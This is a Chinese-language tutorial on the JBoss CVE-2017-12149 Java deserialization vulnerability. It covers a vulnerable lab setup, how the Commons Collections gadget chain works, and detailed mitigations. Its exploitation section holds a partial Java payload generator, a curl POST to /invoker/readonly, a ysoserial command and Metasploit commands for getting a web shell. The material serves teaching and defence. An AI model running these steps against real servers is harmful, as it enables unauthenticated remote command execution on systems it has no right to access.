Java反序列化漏洞深度解析:从CVE-2017-12149看Jboss安全攻防

发布时间:2026/7/4 15:59:58
Java反序列化漏洞深度解析:从CVE-2017-12149看Jboss安全攻防 1. 项目概述为什么CVE-2017-12149值得深挖如果你在甲方做安全运维或者在乙方做渗透测试Jboss这个名字大概率不会陌生。它曾经是企业级Java应用服务器市场的“三巨头”之一和WebLogic、WebSphere齐名。而CVE-2017-12149这个漏洞可以说是Jboss历史上一个极具代表性的“反面教材”。它不是一个简单的配置错误而是一个存在于核心组件中的反序列化漏洞影响范围极广利用方式直接危害等级高。即便到今天在一些老旧系统或者运维人员安全意识薄弱的场景下依然能发现它的身影。这个漏洞的核心简单来说就是攻击者可以构造一个恶意的序列化数据通过HTTP请求发送给Jboss服务器上一个未做任何安全校验的接口。Jboss在反序列化这个数据时会执行其中包含的任意Java代码从而导致远程命令执行。整个过程不需要任何身份认证攻击门槛相对较低。我之所以想把这个漏洞从环境搭建到实战利用完整地走一遍有几个原因。第一它是学习Java反序列化漏洞的绝佳入门案例涉及到的java.io.Serializable接口、InvokerTransformer、TemplatesImpl等概念是后续理解更复杂反序列化链比如Fastjson、Shiro等的基础。第二它的环境复现过程涵盖了从下载老版本软件、配置JDK、启动服务到部署应用的全流程对于搭建其他Java历史漏洞的测试环境有很强的参考价值。第三它的利用链相对清晰工具成熟非常适合新手理解“漏洞原理”是如何一步步转化为“实际危害”的。下面我们就从最基础的环境准备开始。2. 环境搭建复原一个存在漏洞的Jboss搭建一个可用的、存在漏洞的Jboss环境是分析利用的第一步。这里的目标是复现一个典型的、受CVE-2017-12149影响的Jboss版本。我选择的是Jboss AS 6.x版本因为它受该漏洞影响且相关资料比较丰富。2.1 基础组件准备与版本选择首先需要明确组件版本版本不对后面的一切都是徒劳。Java Development Kit (JDK)Jboss AS 6.x 官方推荐使用 JDK 6 或 JDK 7。高版本JDK如JDK 8在运行某些老版本Jboss时可能会遇到类加载或JNDI相关的问题增加不必要的复杂度。因此我选择JDK 7u80这个经典版本。你可以在Oracle官网的存档中找到它。Jboss Application Server漏洞影响 Jboss AS 5.x 和 6.x。我们选择Jboss AS 6.1.0 Final。这个版本比较稳定且漏洞利用所需的invoker/readonly等组件默认存在。操作系统为了最大程度还原当时的环境并避免现代系统安全机制的干扰如高版本GLIBC库不兼容建议在虚拟机中使用CentOS 6.x或Ubuntu 14.04等老版本Linux发行版。我在一台CentOS 6.10的虚拟机中进行演示。注意切勿在生产环境或连接互联网的实体机上搭建和运行存在已知高危漏洞的旧版本服务。务必在隔离的虚拟机或专用测试网络中进行所有操作。2.2 详细安装与配置步骤假设我们已经准备好了一台干净的CentOS 6.10虚拟机并已配置好网络。步骤一安装JDK 7首先上传下载好的jdk-7u80-linux-x64.tar.gz到虚拟机例如/opt目录。cd /opt tar -xzf jdk-7u80-linux-x64.tar.gz接下来配置环境变量编辑/etc/profile文件在末尾添加export JAVA_HOME/opt/jdk1.7.0_80 export PATH$JAVA_HOME/bin:$PATH export CLASSPATH.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar使配置生效source /etc/profile验证安装java -version应该看到类似java version 1.7.0_80的输出。步骤二安装并启动Jboss AS 6.1.0上传jboss-6.1.0.Final.zip到/opt并解压。cd /opt unzip jboss-6.1.0.Final.zipJboss的目录结构很清晰我们主要关注bin和standalone/deployments对于AS 6实际上是server/default/deploy。启动Jbosscd /opt/jboss-6.1.0.Final/bin ./run.sh -b 0.0.0.0 -b 0.0.0.0参数让Jboss监听所有网络接口方便我们从宿主机访问。表示后台运行。 查看启动日志确认无报错且看到类似JBoss AS 6.1.0.Final “Neo“ Started in 15s:350ms的信息说明启动成功。步骤三验证服务与漏洞接口在浏览器中访问http://虚拟机IP:8080/应该能看到Jboss AS的默认欢迎页面。 关键的一步是验证漏洞存在的接口。访问http://虚拟机IP:8080/invoker/readonly。如果返回一个HTTP 500错误并且错误信息中包含java.io.Serializable相关的字样如“Failed to deserialize…”这通常意味着该端点存在并可被用于反序列化攻击。如果返回404则可能需要检查Jboss的配置或者该版本默认未部署invoker服务。在我们的6.1.0版本中它默认是存在的。至此一个存在CVE-2017-12149漏洞的Jboss测试环境就搭建完成了。环境是漏洞研究的基础一个稳定、准确的环境能让你后续的利用和分析事半功倍。3. 漏洞原理深度剖析反序列化如何变成命令执行搭建好环境后我们得搞清楚这个漏洞到底是怎么一回事。不能只满足于“有个接口能打”得明白它为什么能被打。这涉及到Java反序列化的机制和Jboss一个特定的组件。3.1 核心问题invoker/readonly端点在Jboss AS 5.x/6.x中存在一个用于远程EJB调用的HTTP invoker。它提供了一个HTTP接口/invoker/readonly允许客户端发送序列化的Java对象服务器端会对其进行反序列化。设计初衷可能是为了某些远程调用场景但这个端点没有进行任何身份验证或授权检查并且默认情况下就对外暴露。这就埋下了第一个隐患一个无需认证的、可以接收任意序列化数据的入口点。3.2 武器化Apache Commons Collections 库仅有入口还不够我们需要让反序列化过程执行我们想要的代码。这里就用到了一个“经典”的第三方库漏洞Apache Commons Collections (ACC)库中的特定类存在危险的方法链。在ACC 3.2.1及之前版本Jboss AS 6.1.0自带的是有漏洞的版本InvokerTransformer、ChainedTransformer、ConstantTransformer等类可以被精心组合构造出一个“Transformer链”。这个链子的最终效果是当某个对象被反序列化后在特定的调用路径下例如AnnotationInvocationHandler的readObject或BadAttributeValueExpException的readObject会触发这个Transformer链的执行链的末端可以指向Runtime.getRuntime().exec(“你的命令”)。简单类比一下想象你给快递柜/invoker/readonly端点寄了一个特殊的“玩具箱”序列化数据。这个玩具箱里装了一套多米诺骨牌Transformer链骨牌摆放的机关设计得非常巧妙。当快递员Jboss服务器打开玩具箱反序列化时骨牌就会自动倒下链式调用最后一块骨牌倒下时会触发一个遥控开关Runtime.exec打开你家的空调执行系统命令。而快递员和快递柜本身并不知道这个“玩具箱”有这种危险功能。3.3 漏洞触发流程全链路解析结合以上两点一次完整的攻击流程如下攻击者构造Payload利用有漏洞的Apache Commons Collections库中的类编写Java代码构造一个恶意的序列化对象。这个对象在被反序列化时其readObject方法会触发一系列方法调用最终执行Runtime.getRuntime().exec(“cmd”)。常用的Gadget链是AnnotationInvocationHandler.readObject() - ... - InvokerTransformer.transform() - Runtime.exec()。发送Payload攻击者通过HTTP POST请求将构造好的序列化字节流直接发送到目标Jboss服务器的http://target:8080/invoker/readonly端点。服务器端反序列化Jboss的HTTP invoker接收到请求后由于该端点功能就是处理序列化对象它会直接对请求体数据进行反序列化操作。Gadget链触发在反序列化过程中恶意对象的readObject方法被自动调用。由于该对象是由精心设计的Gadget链构成的readObject的执行会像推倒多米诺骨牌一样依次调用链上的各个Transformer的transform方法。命令执行链条的最后一个Transformer是InvokerTransformer它通过反射调用了Runtime.getRuntime().exec()方法并传入了攻击者预设的命令参数从而在服务器上以Jboss进程的权限通常是系统用户权限执行了任意系统命令。理解这个原理你就明白了为什么这个漏洞危害如此之大它结合了“未授权访问”和“危险的反序列化实现”两个致命弱点。4. 实战利用手把手构造与执行攻击明白了原理我们就要动手把它实现出来。实战利用通常有两种方式使用现成的工具如Metasploit或者自己编写利用脚本。为了彻底理解我们先从手动构造开始再介绍工具化利用。4.1 手动构造序列化Payload我们需要在自己的攻击机比如Kali Linux上准备一个Java开发环境并引入有漏洞的Commons Collections库例如commons-collections-3.2.1.jar。下面是一个简化版的Payload生成代码思路实际利用中会使用更稳定的Gadget如CommonsCollections5import java.io.*; import java.lang.reflect.*; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.*; public class JBossExploit { public static void main(String[] args) throws Exception { // 1. 构造最终要执行的命令 String command touch /tmp/pwned_by_cve_2017_12149; // 2. 构造Transformer链最终指向Runtime.exec Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{command}) }; Transformer chain new ChainedTransformer(transformers); // 3. 构造一个Map并利用LazyMap的装饰器在get操作时触发Transformer Map innerMap new HashMap(); Map lazyMap LazyMap.decorate(innerMap, chain); // 4. 构造触发点例如利用TiedMapEntry和BadAttributeValueExpException // 这是Gadget链的关键部分不同链的构造方式不同 // 这里省略了具体的、复杂的反射构造过程... // ... // 5. 将最终构造好的恶意对象序列化到文件 Object maliciousObject ...; // 上面构造的最终对象 FileOutputStream fos new FileOutputStream(payload.ser); ObjectOutputStream oos new ObjectOutputStream(fos); oos.writeObject(maliciousObject); oos.close(); System.out.println([] Payload generated: payload.ser); } }编译并运行此Java程序会生成一个payload.ser文件。这个文件里就包含了能执行touch /tmp/pwned_by_cve_2017_12149命令的序列化数据。4.2 发送Payload并验证结果生成Payload后使用curl命令将其发送到目标Jboss的漏洞端点curl -X POST --data-binary payload.ser http://目标IP:8080/invoker/readonly -H “Content-Type: application/octet-stream”如果漏洞存在且Payload有效服务器会返回一个HTTP 500错误因为反序列化过程最终抛出了异常但命令已经在异常抛出前执行了。此时登录到Jboss服务器查看应该会发现/tmp/pwned_by_cve_2017_12149这个文件被成功创建。实操心得手动构造的过程对于理解漏洞本质非常有帮助但在实际渗透测试中我们更常使用成熟的工具或脚本。因为手动构造需要考虑Java版本、Commons Collections版本、Gadget链的兼容性等诸多细节一个地方不对就可能无法利用成功。4.3 工具化利用Metasploit模块实战对于效率至上的渗透测试Metasploit框架提供了现成的模块。使用起来非常方便在Kali Linux中启动Metasploitmsfconsole搜索并利用该漏洞模块search cve-2017-12149 use exploit/multi/http/jboss_invoke_deploy set RHOSTS 目标IP set RPORT 8080 exploit该模块的工作原理是利用漏洞上传一个JSP格式的Web Shell通常是一个.war压缩包到服务器然后通过访问这个Web Shell来执行命令。如果成功会得到一个meterpreter会话。Metasploit模块与手动利用的对比手动构造更底层直接触发命令执行但无回显适合简单的“证明漏洞存在”PoC如创建文件。Metasploit更自动化利用漏洞部署一个持久的Web Shell提供交互式命令执行、文件管理、内网渗透等功能适合完整的渗透测试流程。选择哪种方式取决于你的目标。如果是漏洞研究或简单的PoC手动方式更直接。如果是需要进一步控制的渗透测试工具化是更好的选择。5. 漏洞防御与修复方案分析了攻击我们更要思考如何防御。对于企业安全运维人员来说了解如何修复和防御此类漏洞至关重要。5.1 官方修复与升级建议最根本的解决方案是升级到不受该漏洞影响的Jboss版本。对于Jboss AS即WildFly的前身应升级到最新的WildFly版本并确保使用的所有组件尤其是Apache Commons Collections都已更新到安全版本。如果因为业务原因无法立即升级Jboss官方也提供了临时缓解措施删除或禁用危险的Invoker这是最直接有效的方法。找到Jboss部署目录下的deploy/httpha-invoker.sar这个包将其删除或重命名如改为.sar.bak然后重启Jboss服务。这样/invoker/readonly端点将不复存在。通过安全配置限制访问在Jboss的配置文件中对invoker相关的服务进行访问控制限制只允许可信IP访问。但这是一种较弱的防护可能被绕过。5.2 架构与运维层面的加固措施除了针对单个漏洞的修复从架构和运维层面建立防线更为重要网络隔离与最小权限将Jboss等应用服务器部署在内网区域通过防火墙严格限制外部访问只开放必要的业务端口如80/443。Jboss的管理控制台默认8080端口绝不应暴露在公网。定期漏洞扫描与补丁管理建立完善的漏洞扫描机制定期对中间件、框架、库进行扫描。对于像Apache Commons Collections这样的通用组件要建立资产清单及时跟踪安全公告并更新。使用运行时保护工具RASP部署运行时应用自我保护产品。这类工具可以嵌入到应用服务器中在运行时监控危险行为例如检测到可疑的反序列化操作尝试调用Runtime.exec或ProcessBuilder时可以立即中断并告警从底层防御未知的反序列化攻击。代码安全审计在开发阶段避免在代码中直接反序列化来自不可信源的数据。如果必须使用应使用白名单机制限制可反序列化的类或者使用更安全的替代方案如JSON。5.3 针对反序列化漏洞的通用防御策略CVE-2017-12149是反序列化漏洞的一个典型案例。防御此类漏洞有一些通用思路输入验证与过滤对所有外部输入进行严格的校验和过滤特别是对于像序列化流这种非文本型数据。反序列化白名单使用Java的ObjectInputFilterJDK 9或第三方库如Apache Commons IO的ValidatingObjectInputStream创建一个只允许反序列化安全类的白名单。替换有风险的库将项目中使用的已知存在反序列化Gadget的库如老版本的Commons Collections、Fastjson等升级到已修复的安全版本。安全开发规范在团队内部推行安全编码规范明确禁止反序列化不可信数据并对历史代码进行审计。防御是一个持续的过程而不是一次性的动作。了解了攻击者的手段才能更好地构筑自己的防线。6. 拓展与关联反序列化漏洞的生态CVE-2017-12149不是一个孤立的案例它是Java反序列化漏洞“宇宙”中的一颗明星。通过它我们可以连接到更广阔的安全领域。6.1 从Jboss到其他组件的漏洞迁移掌握了这个漏洞的利用原理你会发现思路可以迁移到很多其他地方WebLogic同样存在多个严重的反序列化漏洞如CVE-2015-4852, CVE-2017-10271, CVE-2019-2725等利用链可能不同但核心原理相通。Fastjson这个国内常用的JSON解析库因其自动类型转换特性也爆发过多个高危反序列化漏洞如1.2.24、1.2.47、1.2.68等攻击者通过构造恶意的JSON字符串来触发。Apache Shiro由于其RememberMe功能使用了Java序列化如果密钥泄露也会导致反序列化漏洞CVE-2016-4437。Spring Framework某些特定版本和配置下的Spring应用也可能受到反序列化攻击。它们的共同点是应用程序接受了外部输入的、可控的序列化数据并在反序列化过程中触发了存在于Classpath中某些库里的危险方法链Gadget Chain。6.2 自动化工具与漏洞研究平台对于安全研究人员和渗透测试人员有一些优秀的工具能提升效率ysoserial一个经典的Java反序列化利用工具集合。它包含了针对Commons Collections、Jdk7u21、Jboss、WebLogic等多种环境的Gadget链生成器。你可以用它快速生成针对不同目标的Payload。java -jar ysoserial.jar CommonsCollections5 “touch /tmp/test” payload.sermarshalsec一个用于生成利用JNDI注入的Payload的工具常与Fastjson等漏洞结合使用。Vulhub、VulnApp这些是漏洞靶场环境提供了包括CVE-2017-12149在内的大量漏洞的一键搭建Docker环境非常适合学习和练习。6.3 对现代开发安全的启示这个“古老”的漏洞给现代软件开发带来了持久的启示第三方库安全现代应用严重依赖开源组件。一个像Commons Collections这样被广泛使用的底层库出现漏洞其影响是核弹级的。必须将软件成分分析SCA纳入开发流程持续监控依赖库的安全状态。默认安全配置Jboss默认开启未授权的invoker端点是“默认不安全”的典型反面教材。任何中间件、框架的默认配置都应遵循最小权限原则。废弃危险特性Java原生序列化机制被证明存在严重安全隐患。在新的开发中应优先考虑使用更安全的序列化协议如Protocol Buffers、JSON配合安全的解析库、Kryo配置安全模式等并逐步淘汰或严格限制ObjectInputStream/ObjectOutputStream的使用。回过头看CVE-2017-12149就像安全演进路上的一个清晰路标。它告诉我们漏洞往往源于对“便利性”的过度追求而牺牲了“安全性”而防御则需要从设计、开发、部署到运维的全生命周期入手。作为技术人员无论是攻是防深入理解像这样的经典案例其价值远不止于利用一个漏洞本身更在于建立起一套应对同类威胁的思维模型和方法论。